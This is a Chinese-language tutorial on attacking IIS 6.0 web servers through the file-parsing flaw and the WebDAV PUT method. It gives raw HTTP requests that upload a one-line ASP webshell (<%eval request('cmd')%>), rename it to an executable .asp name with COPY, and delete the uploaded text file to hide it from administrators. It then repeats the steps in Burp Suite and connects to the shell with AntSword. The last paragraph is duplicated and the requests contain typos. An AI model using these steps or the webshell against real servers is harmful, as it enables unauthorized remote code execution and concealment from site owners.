解析漏洞是什么意思呢?
上传到 Web 服务器(IIS6.0)的文件,并不是以 .asp 命名的文件,会被服务器(IIS6.0)解析为asp文件,造成非 asp 文件后缀名的 文件被当作 asp 脚本执行,从而执行其中的脚本代码。
(1) 当建立如下格式的文件夹时,其目录下的任意文件都将被 IIS 当作文件解析
*.asa *.asp
<%=NOW()%> #被当作脚本执行,输出时间
(2) 当文件如下 IIS6.0 同样会将文件作为 asp 文件解析。
*.asp;1.jpg *.asp;1.txt 都以asp脚本运行
在 IIS6.0 中集成了 WebDAV,WebDAV 基于 HTTP1.1 协议的通信协议使得 HTTP 支持 PUT MOVE COPY DELETE 方法
1.探测是否存在 IIS PUT 漏洞:
OPUIONS/HTTP1.1
Host:www.xxx.com
首先使用上述代码,并标明主机地址,如果探测过程中出现了对应支持的 PUT MOVE COPY DELETE 方法,则说明存在 PUT漏 洞,当然还有很多其他中间件支持 PUT MOVE COPY DELETE 都要进行设置,这里我们介绍 PUT 。
2.上传 txt 文本文档
PUT /a.txt HTTP1.1
Host: www.xxx.com
Content-Lenth:30
<%eval request("chopper")%>
使用 PUT 设置对应的上传位置,配置目标主机地址,设置内容长度不能过长过短,最后写下一句话 shell
3.通过 Move 或 Copy 重名
COPY /a.txt HTTP1.1
Host:www.xxx.com
Destination:
http://www.xxx.com/cmd.asp
上传成功后,会显示一个 TXT 文本文档,需要 COPY 将这个文档拷贝到 http://www.xxx.com/cmd.asp 这时候这个 TXT 文件会被重命名为 cmd.asp。
4.删除
DELETE /a.txt HTTP1.1
Host:www.xxx.com
为防止根目录下的 TXT 文档被系统管理员看到,可以使用 DELETE 指令删除,如上
### IIS6.0 PUT 上传探测
利用nikto探测
-nikto -h IP地址
上图可知,支持方法包括 DELETE PUT MOVE 等等,所以可以得知当前主机支持 IIS6.0 PUT .于是可以进行上传 Webshell。
利用 BurpSuite 进行 IIS PUT 漏洞利用。先 OPTIONS 探测、PUT 、MOVE 、DELETE
(1) 首先我们截断数据包,发送到Repeater。
(2) 然后修改对应的方法为 OPTIONS (将 GET 改为 OPTIONS) ,进行探测,如果返回了 200 (客户端请求成功)并且返回了对应的支持方法,这时候我们可以判断支持 IIS PUT ,由此我们可以进行下一步操作
(3) 探测完之后,就需要上传一个文本文档,将 OPTIONS 改为 PUT ,放于根目录下的 123.txt 文本文档,将对应内容 Webshell 写入最下方,点击 Go ,右边反馈 201 说明,我们在根目录中成功创建了一个 123.txt
(PS:图中应为) <% eval request("cmd") %>
PUT /123.txt HTTP1.1
Host: 192.168.1.110
<%eval request("cmd")%> # shell 执行密码为cmd
(4) 上传完成后进行重命名, 将 PUT 改为 COPY ,Host改为对应ip ,将第二行一下所有信息删除,在第三行写入 Destination 后在文件解析漏洞目录 COPY 文件名改为 123.asp;aaa.jpg (当然也可以直接上传asp文件),点击 Go 反馈 creative 成功,便会在指定目录下生成一个文件,这时候就可以使用蚁剑连接了,注意蚁剑连接地址为 Destination 后所有,建议先打开网站试一试有没有报错
名改为 123.asp;aaa.jpg (当然也可以直接上传asp文件),点击 Go 反馈 creative 成功,便会在指定目录下生成一个文件,这时候就可以使用蚁剑连接了,注意蚁剑连接地址为 Destination 后所有,建议先打开网站试一试有没有报错